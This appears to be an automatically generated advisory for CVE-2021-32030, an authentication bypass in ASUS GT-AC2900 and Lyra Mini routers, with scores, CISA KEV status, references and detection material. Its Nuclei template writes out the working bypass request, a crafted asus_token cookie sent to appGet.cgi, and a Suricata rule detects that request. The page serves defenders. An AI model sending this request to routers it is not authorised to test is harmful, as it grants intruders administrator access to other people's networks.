CVE-2021-32030: ASUS Routers exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

The administrator application on ASUS GT-AC2900 devices before 3.0.0.4.386.42643 and Lyra Mini before 3.0.0.4_384_46630 allows authentication bypass when processing remote input from an unauthenticated user, leading to unauthorized access to the administrator interface. This relates to handle_request in router/httpd/httpd.c and auth_check in web_hook.o. An attacker-supplied value of ‘\0’ matches the device’s default value of ‘\0’ in some situations. Note: All versions of Lyra Mini and earlier which are unsupported (End-of-Life, EOL) are also affected by this vulnerability, Consumers can mitigate this vulnerability by disabling the remote access features from WAN.

Description quoted from the CVE record (assigned by mitre, published 2021-05-06).

Weakness: CWE-287 Improper Authentication

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since: 2025-06-02
US federal deadline: 2025-06-23
Ransomware use: Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-06519, CNNVD-202105-277, CNVD-2022-04714, EUVD-2021-18896, GHSA-mmm5-f82c-58j8

VEDAS cluster: VEDAS:FEATHERDAGGER

Exploit Observer links 6 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (6)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (8)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://access.redhat.com/security/cve/cve-2021-32030
Vulnerability database or vendor advisory: https://cvefeed.io/vuln/detail/CVE-2021-32030
Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2021-18896
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-mmm5-f82c-58j8
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2021-32030
Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-32030
Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202105-277
Vulnerability database or vendor advisory: https://www.cnvd.org.cn/flaw/show/CNVD-2022-04714

37 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.994
very likely to be attacked soon
VEDAS: 0.984
strong exploit evidence
On CISA KEV: Yes, since 2025-06-02
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

Who is affected

Product	Affected	Not affected
Not stated	version n/a	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

ASUS GT-AC2900 - Authentication Bypass
The administrator application on ASUS GT-AC2900 devices before 3.0.0.4.386.42643 and Lyra Mini before 3.0.0.4_384_46630 allows authentication bypass when processing remote input from an unauthenticated user, leading to unauthorized access to the administrator interface. This relates to handle_request in router/httpd/httpd.c and auth_check in web_hook.o.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /appGet.cgi?hook=get_cfg_clientlist(), GET /); it decides using status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2021-32030.yaml

Show the template (46 lines)

yaml

id: CVE-2021-32030

info:
  name: "ASUS GT-AC2900 - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    The administrator application on ASUS GT-AC2900 devices before 3.0.0.4.386.42643 and Lyra Mini before 3.0.0.4_384_46630 allows authentication bypass when processing remote input from an unauthenticated user, leading to unauthorized access to the administrator interface. This relates to handle_request in router/httpd/httpd.c and auth_check in web_hook.o.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2021-32030&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=asus&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cve-id: CVE-2021-32030
    cwe-id: CWE-287
  metadata:
    verified: false
  tags: asus,auth-bypass,cve,cve2021,kev,router,vkev,vuln

http:
  - raw:
      - |
        GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
        Host: {{Hostname}}
        User-Agent: asusrouter--
        Referer: {{BaseURL}}
        Cookie: asus_token=\0Invalid; clickedItem_tab=0

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - application/json

      - type: word
        words:
          - "get_cfg_clientlist"
          - "alias"
          - "model_name"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022048b0da979224dd62de1d17ff883a4ad886cd5afaa0a3536a84870a65798ad1b9022100d1c9072b4a879476e8c2e116916e8676d77049981221e3678a39d162f07bc90d:922c64590222798bb761d5b6d8e72950

CVE-2021-32030.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2021-32030 ASUS GT-AC2900 - Authentication Bypass. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2021-32030 ASUS GT-AC2900 - Authentication Bypass"; flow:established,to_server; http.uri; content:"appGet.cgi"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2021-32030; reference:url,https://www.exploit.observer/?keyword=CVE-2021-32030&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=asus&match=exact; sid:1019034; rev:1;)

CVE-2021-32030.rules on GitHub

References

Government sources

https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-32030 (government-resource)

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.